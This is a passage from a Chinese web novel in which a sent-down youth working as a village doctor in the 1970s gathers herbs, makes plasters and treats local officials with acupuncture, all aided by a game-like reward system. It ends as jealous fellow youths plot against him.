没过多久,他就在一处背阴的石壁下,发现了一丛叶片肥厚的金牛七,又在不远处的溪流边找到了几株开着小白花的灯台七。 这些都是炮制跌打损伤药膏的绝佳材料。 当太阳升到头顶,斑驳的光影透过树叶缝隙洒下时,他们已经来到了半山腰的一处平缓地带。 “歇会儿吧。”陈翔将猎枪靠在一棵大树上,指了指周围。 “你在这儿等着,我去转转,看能不能打点野食,中午垫吧垫吧肚子。” “好,陈大哥你小心。”江沐也不逞强,知道自己跟过去只会是累赘。 他找了块干净的大石头坐下,仔细整理着背篓里的草药。 约莫一刻钟后,山林深处接连传来两声沉闷的枪响,惊起一群飞鸟。 又过了片刻,陈翔高大的身影便出现在林间,手里赫然提着两只还在滴血的野兔。 江沐起身去附近拾了些干柴,陈翔则手脚麻利地处理起猎物。 他用随身的柴刀剥皮、去内脏,动作娴熟得像是在完成一件艺术品。 “一只够不够?”陈翔拎起收拾干净的一只,朝江沐扬了扬。 “够了够了,一只就够咱们俩吃了。” 很快,一堆篝火升起,剥了皮的野兔被树枝穿着,架在火上炙烤。 油脂滴入火中,激起一簇簇火苗,浓郁的肉香瞬间弥漫开来。 两人撕着滚烫的兔肉,就着水囊里的凉水,吃得满嘴流油。 几块兔肉下肚,话也多了起来。 “陈大哥,你家里几口人啊?”江沐随口问道。 陈翔啃着兔腿的动作顿了一下,眼神望向跳动的火焰,像是陷入了遥远的回忆。 他的声音很平淡,平淡得让人心头发紧。 “四个小子,两个闺女,老大……让狼给叼走了。老二贪玩,掉河里淹死了,老幺跟你差不多大,在县里当学徒,两个闺女都嫁出去了,一个在邻村,一个嫁得远。” 短短几句话,却是一个家庭血淋淋的悲剧史。 江沐心里沉重,手里的兔肉仿佛也变得沉重起来。 他觉得自己戳到了别人的伤心事,脸上满是歉意。 “对不住,陈大哥,我……” “有啥对不住的。”陈翔却摆了摆手,咧嘴一笑,露出被烟草熏黄的牙齿,那笑容里有风霜,有苦涩,却没有怨怼。 “这山里人,命贱,阎王爷啥时候想收,招呼都不打一声,都习惯了。” 他把啃干净的骨头扔进火里,反过来打量着江沐。 “你呢?江大夫,看你年纪轻轻,城里人咋舍得让你到这穷山沟里来?” 江沐的眼神暗了暗,语气也淡了下去。 “家里还有个弟弟,是后妈生的。” 一句话,信息量却足够大。 陈翔愣了愣,随即重重地叹了口气,看向江沐的眼神里,多了一抹复杂的情绪,那是同情,也是一种过来人的了然。 “原来是这样……那你这日子,过得也够苦的。”他看着江沐那张过分干净清秀的脸,忍不住追问了一句。 “你那后妈……对你好不?” 第18章 累成这样,总得犒劳一下自己 “好不好,都没什么分别了。” “这次下乡的名额,本来是我那弟弟的。她舍不得。” 江沐寥寥数语,道尽了一个重组家庭里,不被偏爱的那一方所有的辛酸。 “他娘的!” 陈翔重重拍了一下大腿,骂了句什么,又硬生生咽了回去。 “你也别瞎想,”陈翔憋了半天,只能干巴巴地安慰一句,“日子总得过下去。” 江沐却笑了,那笑容很淡,却带着一种奇异的释然。 “其实从踏上火车那一刻起,我就觉得,都过去了。” 是啊,都过去了。 如今的他,是青莲公社二大队的赤脚医生江沐,仅此而已。 陈翔看着他,愣了愣,忽然也咧嘴笑了,露出被烟草熏得发黄的牙。 他从怀里摸出一个小布包,捻起一些灰黑色的粉末,小心翼翼地撒在烤得焦黄的兔肉上。 “尝尝,俺自个儿磨的野花椒和盐。” 一股奇异的麻香混着肉香瞬间炸开,钻入鼻腔。 江沐撕下一条滚烫的兔腿,顾不上烫嘴就咬了一大口。 “唔!好吃!” 焦香的兔肉上多了一股辛辣的野性,咸味恰到好处,将肉的鲜美激发到了极致。 他两三口就解决掉一条兔腿,又去撕另一条。 陈翔看着他狼吞虎咽的样子,眼神不自觉地柔和下来,带着几分长辈的慈爱。 “你这吃相,跟我家老幺一个样,看着就香。” 两人很快分食完一只兔子,陈翔又递给江沐一支大前门,自己也点上一支,靠着树干,满足地吞云吐雾。 一根烟抽罢,陈翔掐灭烟头,将烟屁股小心地收进口袋里。 “走吧,该回了。” 他刚一撑地起身,脸色就是一变,倒吸一口凉气,手下意识地捶了捶后腰。 “陈大哥,你这腰……”江沐眼神一凝。 “老毛病了。”陈翔龇牙咧嘴地直起身子,脸上挤出一个无所谓的笑容。 “年轻时候打猎,从坡上滚下来过,落下的病根,一到阴雨天或者累着了就犯。” “老哥你这可不是小事,等回去了,我给你配点膏药,你敷上几贴,保管给你治利索了。” “那敢情好!”陈翔眼睛一亮,对江沐的本事,他现在是信了九成。 两人收拾好东西,继续在山林中穿行。 江沐仗着脑中的医学知识,又指点陈翔认了几种颇为值钱的药草,像是何首乌、黄精之类的,虽不如老山参那般一本万利,却也让陈翔的竹篓充实了不少。 可惜,那传说中能卖三百多块的老山参,两人寻遍了半个山头,连根参须都没见着。 眼看天色彻底暗了下来。 “不能再待了,”陈翔的神色变得严肃起来,“晚上的山,是野兽的天下,咱们得赶紧出去。” 归途的路似乎比来时更加漫长。 就在他们快要走出密林时,陈翔突然脚步一顿,猛地举起了猎枪。 一声枪响划破了山林的寂静。 不远处的草丛里一阵扑腾,随即没了动静。 陈翔快步走过去,拎起一只肥硕的野兔,和一只翅膀中弹的野鸡,脸上露出了满意的笑容。 到了山脚下分别时,陈翔执意将那只后打的兔子塞给了江沐。 “拿着!今天多亏了你,不然俺连那几样药材都认不出来!” 江沐推辞不过,只得收下。 回到自己那三间小土坯房时,已是月上中天。 江沐只觉得浑身上下像是散了架,别说做饭了,他现在连动一根手指头的力气都没有。 累成这样,总得犒劳一下自己。 他心中一动,唤出系统商城。 “系统,兑换一份牛肉面。” 【叮!消耗声望值2点,牛肉面一份已存入储物格。】 意念一动,一个热气腾腾的大海碗凭空出现在桌上。 江沐也顾不上什么形象,埋头吃了起来。 劲道的面条,醇厚的汤头,酥烂的牛肉,这是他来到这个时代后,吃过的最舒坦的一顿饭。 …… 第二天,江沐睡到自然醒。 他先是将昨天陈翔给的兔子处理掉。 虽说理论知识丰富,但他毕竟是第一次干这活,显得有些手生。 好在系统出品的大马士革刀锋利无匹,削铁如泥,处理一只小小的兔子自然不在话下,倒也省了不少力气。 随后,他又将昨天采回来的草药一股脑儿全倒在院子里,分门别类,一一摊开在自制的草席上晾晒。 金牛七、灯台七、何首乌、黄精……数量极其可观。 忙完这些,已经临近中午,他今天没打算去卫生室。 他将收拾好的兔肉切块,配上昨天李有柱送来的干辣椒和一些简单的调料,架起锅灶,烧得旺旺的。 热油下锅,浓郁的肉香便伴着辛辣的烟火气升腾而起。 一盘香喷喷的爆炒兔丁很快出锅。 江沐盛了满满一大碗,端着走向了隔壁赵文家。 “赵大哥,在家吗?” 开门的是刘春花,看到江沐手里的碗,先是一愣,随即连忙摆手。 “江大夫,你这是干啥?使不得,使不得!” “嫂子,昨天进山打了只兔子,一个人也吃不完,给你们和孩子尝尝鲜。”江沐不由分说地将碗塞到她手里。 “这……这咋好意思呢!”刘春花捧着温热的碗,脸都有些红了。 “有啥不好意思的!”屋里传来赵文憨厚的嗓门,“江大夫看得起咱,给咱就拿着!春花,赶紧给江大夫拿几个咱自家种的青菜!” 在赵文的劝说下,刘春花这才收下了兔肉,脸上满是感激。 也就在这一瞬间,江沐的脑海里响起了系统的提示音。 【叮!收到来自刘春花的感激,声望+5!】 【叮!收到来自赵文的认同,声望+5!】 又是10点声望到手! 江沐心中一喜,看来这邻里关系,还真是刷声望的好地方。 中午吃过饭,赵文果然让自家孩子送来了一大捆水灵灵的青菜,还带着泥土的芬芳。 江沐也没客气,道了谢便收下了,他现在缺的就是这个。 到了下午,江沐才慢悠悠地晃到卫生室。 还没进门,就看见门口的石阶上坐着好几个半大的孩子,正伸长了脖子往里望。 为首的正是狗蛋,他已经跟江沐混熟了,一看见江沐的身影,立刻眼睛一亮,立刻蹿了过来。仰着脏兮兮的小脸,满眼期待。 “江大夫,你可算来了!今天……还有糖吃没?” 第19章 效果显著,立竿见影 狗蛋仰着那张黑一道白一道的小脸,看着江沐,他身后,一群半大孩子也都眼巴巴地望着江沐。 江沐哑然失笑,从兜里掏出一把五颜六色的水果糖。 这是他特意用声望值兑换的,一点声望能换一大包,堪称刷好感的利器。 “都有,都有,排好队,一个个来!” 孩子们立刻爆发出了一阵欢呼,狗蛋自告奋勇地维持秩序,小胸脯挺得老高。 【叮!收到来自狗蛋的崇拜,声望+2!】 【叮!收到来自二丫的感激,声望+1!】 【叮!收到来自……】 一连串的系统提示音在脑海里响起,又是十几点声望轻松入账。 打发走孩子们,江沐回到卫生室。 前几天和陈翔进山挖的那些野菜,经过两天的晾晒,水分已经基本蒸发,散发着干燥的草木清香。 接下来的两天,江沐几乎是足不出户,一头扎进了自己的土坯房里。 他架起锅,将这些草药按照君臣佐使的古方,配以从系统商城兑换的几味关键药材,一同熬制。 两天后,一口大锅里,只剩下小半锅黑乎乎、黏糊糊的膏体,质地细腻,色泽油亮,如同陈年的墨锭。 江沐小心翼翼地将这些膏药刮出来,装进一个早就准备好的瓦罐里。 这一罐子,他估摸着,省着点用,贴上三十回不成问题。 这天下午,江沐带着他秘制的膏药罐子,重新出现在卫生室,将一张桌子搬到了村委会大院的门口,扯开嗓子吆喝起来。 “乡亲们,都来看一看啊!本人新制了专治腰酸背痛、腿抽筋、风湿骨痛的膏药!效果显著,立竿见影!” 没一会儿,大院门口就围了不少歇晌的社员,一个个伸长了脖子,对着江沐面前那罐黑不溜秋的东西指指点点。 “真能治腰腿疼?别是糊弄人的吧?”有人显然不太信。 “要钱不?贵了俺们可贴不起!”这才是大家最关心的问题。 江沐清了清嗓子,脸上挂着自信的微笑,声音洪亮地盖过了所有议论。 “乡亲们,这膏药,贴一次两毛钱,管用一个月!” “两毛?!”人群里顿时响起一片吸气声。 两毛钱,都够买两斤粗粮了。 江沐似乎早有预料,他大手一挥,抛出了一个重磅炸弹。 “但是!今天第一回,我给大家做个推广,不要钱!免费贴!” “啥?不要钱?!” 这话一出,整个场面瞬间就炸了。 刚才还犹豫不决的社员们,一听免费两个字,眼睛都绿了,呼啦一下就往前挤,生怕自己落后了。 “江大夫,给我来一贴!俺这腰,好几年了!” “俺!俺先来!俺的腿一到阴天就跟针扎似的!” 场面顿时有些失控。 “都嚷嚷啥呢!排好队!一个个来!” 一声中气十足的暴喝传来,李有柱拨开人群,大步流星地走了过来。 “江小子,你这是弄啥好东西呢?这么大动静。”李有柱看着那黑乎乎的药膏,一脸好奇。 江沐将膏药的功效简单一说,李有柱眼睛当即就亮了,他猛地一拍大腿。 “那敢情好!俺这腰杆子,前几年抬石头给落下的病根,来,先给俺老李来一贴!” 他二话不说,直接撩起自己的粗布褂子,露出了黝黑结实的后腰。 有大队长带头,其他人自然没话说了。 江沐用一根小木片,挖出一坨黑亮的膏药,精准地贴在了李有柱的腰眼上。 膏药一上身,李有柱只觉得一股温热的感觉顺着膏药瞬间渗入皮肤,火辣辣的,又带着丝丝凉意,舒服得他直哼哼。 随后,江沐又给其他几个症状明显的老乡贴了一圈。 每贴好一个,他的脑海里就准时响起一声提示。 【叮!收到来自李有柱的认可,声望+2!】 【叮!收到来自王大娘的感激,声望+2!】 【叮!收到……】 一圈下来,又是二十多点声望到手! 那些没排上队的,一个个捶胸顿足,满脸的懊悔,毕竟下次再来,可就是实打实的两毛钱了。 江沐笑着安抚众人:“乡亲们别急,先看看贴了膏药的这几位,明天效果咋样。” 第二天一大早,江沐的卫生室还没开门,昨天那几个贴了膏药的人就成了活广告。 “神了!真神了!俺那条老寒腿,昨晚睡得那叫一个踏实!” “可不是嘛!李队长的腰今天都挺直了,走路虎虎生风!” 一传十,十传百,江沐的神仙膏药瞬间传遍了整个二大队。 他的脑海里,系统的提示音跟过年放鞭炮似的响个不停。 【叮!叮!叮……】 一连串的提示音炸响,总共收获了整整50点声望值! 江沐心情大好,哼着小曲儿正在打扫卫生室,门口人影一晃,周志康和李有柱一前一后地走了进来。 “小江大夫,忙着呢?”周志康脸上带着温和的笑意。 “周书记,李队长,你们怎么来了?”江沐连忙放下扫帚。 周志康笑呵呵地开口:“你上次不是说,药吃一个礼拜,就得来给你扎两针巩固一下嘛。这不,日子到了。” 坏了!光顾着捣鼓膏药,把这茬给忘了! 他脸上却不动声色,立刻歉意地一笑:“哎呀,瞧我这记性!周书记您快里面请,是我疏忽了。” 李有柱很识趣,摆了摆手:“那你们忙,俺去大队部转转。”说着,便转身出去了。 江沐将周志康引到里间的病床上,顺口问了一句:“周书记,这几天的药,感觉效果怎么样?” 一提起这个,周志康立刻来了精神,压低了声音,脸上带着几分神秘和惊叹。 “小江大夫,不瞒你说,你那药是真顶事!吃下去第二天,身上就有感觉了,那股劲儿……嘿!”他比划了一下,又有些肉疼地咂咂嘴,“就是也真他娘的贵!一个礼拜的药,花了我快小半个月的工资了!” 江沐淡然一笑,胸有成竹。 “贵是自然的。药分三品,寻常的方子只能治标,我给您开的,是直奔病根去的。” 这话说的周志康心服口服,他现在对江沐的医术,是百分之一百二十的信任。 “那是,那是!我相信你!” 周志康没有丝毫犹豫,三下五除二便脱下了上身的干部服和白衬衫,露出了虽然不算健硕但也没有赘肉的后背,趴在了病床上。 “来吧,小江大夫,全靠你了!” 第20章 老李这可真是送了份大礼 江沐深吸一口气。 他从系统兑换的针盒中捻出一根寸长的银针,在酒精灯上燎过。 周志康只觉得后背一麻,随即一股微弱的电流感,从江沐下针之处,沿着脊柱飞速下窜。 他刚想开口,江沐淡然的声音便飘了过来。 “周书记,凝神静气,接下来可能会有些异样的感觉,忍住了。” 话音未落,第二根、第三根银针已然落下,迅捷如蜻蜓点水,精准地刺入相应的穴位。 江沐的手法行云流水,没有丝毫的迟滞。 周志康只觉得一股又一股的热流在下腹部汇聚、盘旋,那股沉寂了多年的燥热感,轰然爆发! 他死死咬着牙,额头上青筋暴起,身子不由自主地微微颤抖。 “守住心神,这是气血冲关的正常反应。”江沐的声音,让周志康狂乱的心绪瞬间安定了几分。 这九转回阳针果然霸道,若非先服用了药物打底,周书记这身子骨怕是当场就得虚脱。 江沐心中暗忖,手上动作却愈发沉稳。 时间一分一秒地过去,对周志康而言,这半小时漫长得如同一个世纪。 就在他感觉自己快要被那股热浪撑爆的时候,江沐猛地拔出了所有银针。 “好了。” 霎时间,所有狂暴的热流都化作了温润的暖意,在他体内静静流淌,四肢百骸说不出的舒泰。 周志康长长地吁了一口气,只觉得浑身充满了前所未有的力量。 也就在此时,江沐的脑海中,响起了天籁之音。 【叮!成功治疗周志康重度阳痿,医者仁心,声望暴涨!奖励声望100点!】 江沐心中一喜,面上却依旧古井无波。 周志康翻身坐起,动作利索得不像个中年干部。他活动了一下筋骨,感受着身体里那股久违的爆炸性力量,激动得嘴唇都在哆嗦。 他一把抓住江沐的手,双眼竟有些泛红。 “小江大夫,你这……你这真是我的再生父母啊!” “周书记言重了。”江沐不动声色地抽回手,“以后房事切记不可过度,一月两三次为宜。” “我懂,我懂!”周志康连连点头,他从内兜里,极为郑重地掏出一个用手帕包裹的东西。 打开手帕,里面是一沓厚厚的大团结,还有一张小小的、印着红色戳印的票证。 “小江大夫,这是我的一点心意!一百块钱,还有一张自行车票!你千万不能推辞!” 江沐瞳孔微微一缩。 一百块钱相当于一个普通工人三四个月的工资了! 更别说那张有钱都难买到的自行车票! “周书记,这万万使不得。” 周志康把东西硬往江沐怀里塞,态度强硬无比,“你治好的是我一个男人的尊严!拿着!必须拿着!” 一番推拉,江沐拗不过他,只得无奈收下。 周志康见他收了,脸上才露出满意的笑容。 “小江大夫,我还有个事想求你,我有个老领导,前些年在工地上摔了一跤,从那以后,下半身就……就没什么知觉了,你看,这病你能不能给瞧瞧?” 江沐心中一动。 瘫痪?这可是个大难题。 “具体什么情况,我没见到人也不好下定论。”他沉吟片刻,给出了一个稳妥的答复,“这样吧,周书记,您什么时候有空,把人带到我这儿来,我先看看情况再说。” “好!太好了!”周志康大喜过望,用力拍了拍江沐的肩膀,“那我尽快安排!你忙,我先回去了!” 说罢,他昂首挺胸,步履生风地走了出去。 …… 周志康回到家,他爱人王秀兰立刻迎了上来,脸上满是担忧和期盼。 “老周,怎么样了?那小江大夫……” 周志康二话没说,拦腰就把王秀兰抱了起来,大步流星地走进了里屋。 二十分钟后,周志康躺在床上,长长地吐出一口浊气,脸上是满足而又复杂的感慨。 “这药,真他娘的好用!” …… 下午,江沐找到了正在大队部算工分的李有柱。 “李队长,我明天准备再去一趟山里,采点药。” 李有柱闻言,立刻放下手里的算盘。 “又要进山?还是让陈翔陪你去吧,那小子是把好手!” “不用了,李队长。”江沐摆了摆手,“上次是路不熟,现在大概的方位我都清楚了,自己一个人方便些。” 李有柱眉头皱了起来,显然有些不放心。 “一个人去太危险!你等会儿,俺去给你拿样东西!” 说着,他就风风火火地出了门,没一会儿,便提着一个长条形的布袋子回来了。 他把布袋往桌上一放,解开绳子,露出一支黑黝黝、泛着冰冷金属光泽的半自动步枪。 “这是民兵队的枪,你带上防身!”李有柱又从抽屉里摸出一个油纸包,打开来,是二十发黄澄澄的子弹,“这玩意儿后坐力大,开枪的时候要抵紧了肩膀……” 他极为熟练地给江沐讲解着枪械的用法和注意事项,江沐听得两眼放光,爱不释手地抚摸着冰冷的枪身。 系统商城里也有一模一样的,售价三百声望。 子弹倒是便宜,一点声望十发。 老李这可真是送了份大礼! 回去的路上,江沐抱着枪,心里美滋滋的。 第二天,天刚蒙蒙亮,江沐就背着背篓,扛着枪出发了。 他在山里转悠了一整天,收获颇丰。 满满五大背篓的草药,除了背上这一篓做做样子,其余四篓全被他收进了系统储物空间。 期间,他还试了试枪。 一连浪费了六七发子弹,成功打下了一只倒霉的野鸡。 傍晚时分,江沐扛着枪,背着一背篓草药,手里还提着一只野鸡,心满意足地回了村。 刚到村口,就看见李有柱正焦急地来回踱步。 一看到江沐的身影,一个箭步冲上来。 “你小子可算回来了!没事吧?” “没事,李队长,你看,还有收获。”江沐笑着扬了扬手里的野鸡。 回到自己的土坯房,江沐看着那只羽毛凌乱的野鸡,他犯了难。 他想了想,敲响了隔壁赵文家的门。 赵文一听是这事,二话不说就提着野鸡去了院里,三下五除二就收拾得干干净净。 “赵文哥,太谢谢你了,这鸡你拿一半回去。” “说啥呢!江大夫你太客气了!”赵文连连摆手。 送走赵文,江沐看着那堆鸡肉,决定明天犒劳一下自己。 第二天一大早,江沐推开门,看着院子里堆得跟小山似的、还带着泥土芬芳的草药,顿时感觉头皮一阵发麻。 第21章 神了!这他娘的真是神了 这没个三五天根本别想弄完。 看来,得发动一下人民群众的力量了。 他来到卫生院,果然,那帮小家伙们正围在卫生室门口,他一过去,孩子们瞬间将他包围。 江沐清了清嗓子,脸上露出神秘的笑容:“我院子里有好玩的事情,谁愿意去帮忙。” 孩子们的眼睛瞬间亮得像星星。 “我去!我去!” 江沐领着浩浩荡荡的一群童子军回到了自己的土坯房院子。 拿出之前分拣好的样品,一一展示给他们看,“你们的任务,就是把这几堆里长得一样的草药,都挑出来,放到同一个篮子里,谁分得又快又好,奖励两颗糖!” 十几个孩子立刻散开,干劲十足。 江沐则在一旁指点,时不时纠正一下错误。 不到一个钟头,那几座药山就被分门别类地装进了不同的背篓和篮子里。 “好了!大家都干得非常棒!” 江沐笑着兑现承诺,给每个孩子发了两颗水果糖。 孩子们心满意足地散去,江沐看着分拣好的药材,长舒了一口气。 --- 与此同时,邹县县政府的大会议室里,一场冗长的会议刚刚结束。 周志康站起身,扫视一圈,很快就锁定了正准备离开的副县长沈焱。 “老沈,等一下!” 沈焱闻声回头,看到是周志康,脸上挤出疲惫的笑容:“老周啊,有事?” 沈焱不过四十出头,两鬓却已见了白霜。 周志康几步上前,揽住他的肩膀,压低了声音:“借一步说话。” 两人走到走廊的角落,周志康递上一根烟,自己也点上一根,深吸了一口,才缓缓开口:“老沈,我看你这精神头……是不是家里老首长的事情,还是没进展?” 沈焱接过烟,神色黯然地点了点头,叹了口气:“别提了,我爸他……现在连自己坐起来都费劲了。” 周志康沉默片刻,眼神陡然变得无比坚定:“老沈,我认识一个大夫,医术通神!或许,他能给你家老首长看看。” 沈焱的眼神瞬间亮了一下,但随即又黯淡下去,摆了摆手:“算了吧,老周,我爸都快被折腾怕了。” “这次不一样!”周志清斩钉截铁,他凑近了些,声音压得更低,脸颊甚至有些微微发烫,“我跟你说实话,我那方面……之前不行了,好几年了。就是这个小江大夫,几根银针下去,你猜怎么着?” 他挺了挺胸膛,脸上是无法掩饰的自豪和激动。 “好了?!”沈焱猛地瞪大了眼睛,失声问道。他自己也有难言之隐,自然明白这意味着什么。 “何止是好了!”周志康一拍大腿,“简直比年轻时候还厉害!就昨天的事!” “那……那药方还在吗?”沈焱的声音带着不易察觉的颤抖。 周志康摇了摇头:“要不,我带你去让他给瞧瞧?他就在我们公社!” 沈焱心中的天平剧烈地摇摆起来。 理智告诉他,京城的专家都治不好的病,一个乡下的小年轻能有什么办法? 可万一呢?万一真的行呢? 这个念头一旦升起,便立刻疯长。 “好!”沈焱牙一咬,心一横,“下午!下午我就跟你去看看!” --- 下午两点,一辆锃亮的黑色伏尔加轿车,卷着一路黄土,停在了青莲公社二大队的卫生室门口。 周志康和沈焱进了卫生室。 江沐正在整理药柜,看到两人进来,只是平静地抬了抬眼。 “小江大夫,我来给你介绍一下。”周志康显得有些兴奋,“这位是咱们县的沈副县长。” 他又转向沈焱:“沈县长,这位就是我跟你提过的江沐,江大夫。” 沈焱不动声色地打量着江沐。 “江大夫,你好。” “沈县长好,周书记好。”江沐点了点头,指了指旁边的板凳,“坐吧。” 周志康推了推沈焱:“老沈,你不是也觉得最近身子不得劲嘛,让小江大夫给你号号脉。” 沈焱犹豫了一下,还是伸出了手腕,放在了桌上的脉枕上。 江沐三根手指搭了上去,双目微阖,神情专注。 诊室里一片寂静,片刻后,江沐睁开眼,收回了手,语气淡然。 “沈县长,你这脉象虚浮无力,肾气亏空,如果我没说错,你是不是已经有两三年了,每次房事之后,都感觉体虚乏力,腰膝酸软,事后更是大汗淋漓,彷彿被抽空了筋骨?” 沈焱惊骇地看着江沐,张了张嘴,一个字都说不出来。 全中!一字不差! 神了!这他娘的真是神了! 他心中的那点疑虑,瞬间被这番话击得粉碎。 “江……江大夫……”沈焱的声音都变了调,“我这……我这还能治吗?” “能治。”江沐的回答干脆利落,“我先给你开个方子,你按时服用,一周后,你再来我这里,我给你施针。” 说着,他提笔写下一个药方,递了过去。 沈焱如获至宝般地接过药方,连连点头:“我记住了!一定照办!谢谢江大夫!” 他激动的心情稍稍平复,这才想起了今天来的主要目的。 “江大夫,实不相瞒,我父亲……他多年前因公负伤,下半身瘫痪至今,不知您……” 江沐沉吟片刻:“没见到病人,我也不好下定论。病人在哪?如果方便,我可以上门看看。” “方便!太方便了!”沈焱大喜过望,“家父就在县里的家中,离这不远,我们现在就去!” --- 半小时后,伏尔加轿车停在了一栋带院子的青砖瓦房前。 周志康领着江沐,跟着沈焱走进了主卧。 一个头发花白的老人正靠坐在床上,身上盖着薄被,虽然面色有些苍白,但一双眼睛却依旧锐利有神。 “老首长!”周志康一见老人,立刻热情地打了个招呼。 “是志康啊。”老沈先生笑了笑,目光随即落在了江沐身上,带着些许探寻,“这位是?” “爸,这位是江大夫,医术非常高明!”沈焱急忙介绍。 “哦?江大夫。”老沈先生点了点头,眼神里并没有太多波澜。 江沐也不多言,上前一步,轻声道:“沈老先生,我给您号个脉吧。” 他将老人的手腕从被子里拉出,手指搭了上去。 沈焱和周志康屏息凝神,连大气都不敢喘。 许久,江沐才松开手,站起身,却并未开口,只是对着沈焱使了个眼色。 “沈县长,我们出去说吧。” 老沈先生的眼神,在那一瞬间黯淡了下去。 他见过太多次这样的场景了。 唉,又是一个没办法的…… 老沈先生在心中无声地叹了口气。 他也是要面子的人,既然这年轻大夫不好意思当面说,他自然也不会戳破。 第22章 人比人气死人 江沐和沈焱一前一后走出卧室,身后的木门被轻轻带上。 沈焱紧紧盯着江沐,嘴唇翕动了几下,才发出干涩的声音:“江大夫,我父亲他……” 江沐没有绕圈子,“沈县长,你得有个心理准备。” 尽管已经预料到结果,但当这句话从江沐口中如此直白地吐出时,沈焱还是觉得天旋地转,身子晃了晃,几乎站立不稳。 他不是没见过大风大浪,可此刻,他只是一个即将失去父亲的儿子。 “真……真的没有一点办法了吗?”他的声音里带着绝望的祈求,“哪怕……哪怕只是让他能多活一段时间……” 江沐的目光中流露出极难察觉的怜悯,“办法,有,我可以用金针吊住他的心脉,再用珍稀药材续他的元气,或许能让他再撑个一年半载。但那又如何?” “他会活在无尽的痛苦里,且不会有任何尊严,沈县长,恕我直言,那不是孝顺,是折磨。与其这样,不如让他安详地、体面地走完最后一程。” 江沐这番话,彻底浇灭了沈焱心中最后那点不切实际的幻想。 他沉默了,高大的身躯在阳光下显得有些佝偻。 是啊,折磨……这两年,父亲何尝不是在受折磨? 自己又何尝不是在用各种偏方神医来折磨他? “趁着老先生现在神志还清楚,”江沐的声音放缓了些,“想说什么,想做什么,就抓紧吧。别再折腾了。” 沈焱痛苦地闭上眼睛,再睁开时,眼眶已经通红。 他对着江沐,深深地鞠了一躬:“多谢江大夫,我……我明白了。” “嗯。”江沐点了点头,从口袋里掏出纸笔,迅速写下一个方子,“这方子不是治病的,是安神的。按时给老先生服下,能让他晚上睡个好觉,少受些罪。” 沈焱颤抖着手接过那张薄薄的纸,却觉得它有千斤重。 他哑着嗓子,对一直等在车旁的司机喊了一声:“小王,送周书记和江大夫回公社!” 回去的路上,伏尔加车里一片死寂。 周志康几次想开口,看看身旁江沐那古井无波的侧脸,又把话咽了回去。 --- 沈家。 沈焱送走客人,失魂落魄地回到屋里。 他的妻子孙丽华立刻迎了上来,脸上写满了焦急:“怎么样?老沈,那位江大夫怎么讲?” 沈焱看着妻子期盼的眼神,喉头一阵哽咽,最终只是疲惫地摇了摇头,颓然坐倒在椅子上:“情况……不太好。丽华,准备后事吧。” 孙丽华的脸色,变得惨白。 --- 两天后,江沐的小院里又升起了袅袅的药香。 这一次,他架起了一口从村民那借来的大铁锅,锅里是黑乎乎、粘稠如墨的药膏,正冒着泡。 他用一根木棍不停地搅拌,浓郁的药味弥漫了半个村子。 这次他下了血本,不仅将山里采的草药全部投了进去,还从系统商城里兑换了好几味增强药效的辅药。 整整一大锅,足够摊出上百贴膏药。 膏药熬好,待其冷却成型后,江沐才找到正在田埂上指挥秋收的李有柱。 “柱子叔,膏药弄好了,量不少。” 李有柱一听,黝黑的脸上顿时乐开了花,他一拍大腿:“哎呀!太好了!自从贴了你的膏药,我这老腰就没再犯过!干活都比以前利索多了!” 就在这时,江沐的脑海里,一声清脆的提示音毫无征兆地响起。 【叮!收获来自沈焱的由衷敬佩,奖励声望值+100!】 江沐搅拌药膏的动作微微一顿。 一百点声望?这可不是小数目。 看来,沈老先生应该是走了。 而且,是安详地走的。 他心中了然,却没表露分毫。 李有柱是个大嗓门,得了江沐的消息,扛着锄头就在村里吆喝开了:“江大夫的膏药熬好啦!下午到卫生室门口来领!腰酸背痛的都抓紧了喂!” 消息一传开,还没到下午,卫生室门口就乌泱泱地围了一圈人。 李有柱和高建设两人跟门神似的守在门口,面前摆着一张小桌子。 “都排好队!一个一个来!”李有柱扯着嗓子喊,“一贴两毛钱,谁都不能少!” “放心吧柱子队长!江大夫是咱村的大恩人,咱还能让他吃亏不成?” 一个大婶笑呵呵地递上两毛钱,小心翼翼地接过一贴用油纸包好的膏药,跟宝贝似的揣进怀里。 但也总有那么几个想占便宜的。 一个叫刘二懒的闲汉挤上前来,嬉皮笑脸地开口:“柱子哥,你看我这穷得叮当响,能不能先赊着?” 李有柱眼睛一瞪,唾沫星子都快喷到他脸上:“少废话,没钱就给我滚蛋!别耽误后面的人!” 刘二懒被骂得灰头土脸,只好悻悻地退到了一边。 一百多贴膏药,不到一个小时就销售一空。 李有柱将一堆皱巴巴的毛票、分币点清,足足有十几块钱,一股脑儿塞给江沐。 江沐也没推辞,只是拍了拍李有柱和高建设的肩膀,笑了笑:“柱子叔,高大哥,以后你们俩的膏药,我包了。” 江沐一下午挣了十几块钱的消息,很快就飞到了知青点。 晚饭时,知青点的气氛有些诡异。 赵卫东把饭碗顿在桌上,阴阳怪气地开了口:“嚯,真是人比人气死人啊!咱们在这累死累活挣工分,人家江大夫倒好,在屋里捣鼓一下午,十几块钱就到手了!” 他这话一出,饭桌上顿时响起一片附和声。 “就是啊,凭什么啊?大家不都是从城里来的知青吗?” “这也太不公平了!” 赵卫东见状,更加来劲了,他站起身,一副义愤填膺的模样:“同志们!我们是知青,是一个集体!就应该团结互助!我看,他江沐就应该把挣的钱拿出来,分给大家,或者充公当咱们知青点的活动经费!” 大部分知青都跟着点头。 只有角落里的赵怀喜,抬起眼皮瞥了赵卫东一眼。 “吵吵什么!”知青点的组长,一个老知青猛地一拍桌子,怒斥道,“吃饱了撑的是吧?明天谁的工分不达标,晚饭就别吃了!” 众人顿时噤声。 赵卫东悻悻地坐下,却还是不甘心,凑到陈小军身边,压低了声音嘀咕:“小军,你说这事儿就这么算了?他江沐可是你朋友,你去跟他说说,不能这么自私啊……” 第23章 既然按不出,那就扎一针 陈小军扒拉着碗里那几粒可怜的米饭,眼角的余光却死死地锁在赵卫东身上。 “卫东哥,你……你有什么章程?” 赵卫东放下筷子,凑到陈小军耳边,声音里满是算计,“章程?简单,我先去探探他的底。装个病,去他那卫生室走一遭。 要是他把东西交出来,就算了,可他要是敢摆谱,哼,那可就别怪兄弟们不讲情面!” 陈小军也紧张起来!他当初还把江沐当朋友,现在看来,人家根本没把自己放在眼里! “好!卫东哥,我跟你去!”陈小军一咬牙,眼神里透出几分狠厉。 “他要是敢不识抬举,咱们就让他知道,这知青点是谁的地盘!” 赵卫东满意地拍了拍他的肩膀,随即戏精上身,捂着肚子哎哟一声就弯下了腰,表情痛苦至极:“不行了……不行了……我这肚子……疼得跟刀绞一样!” 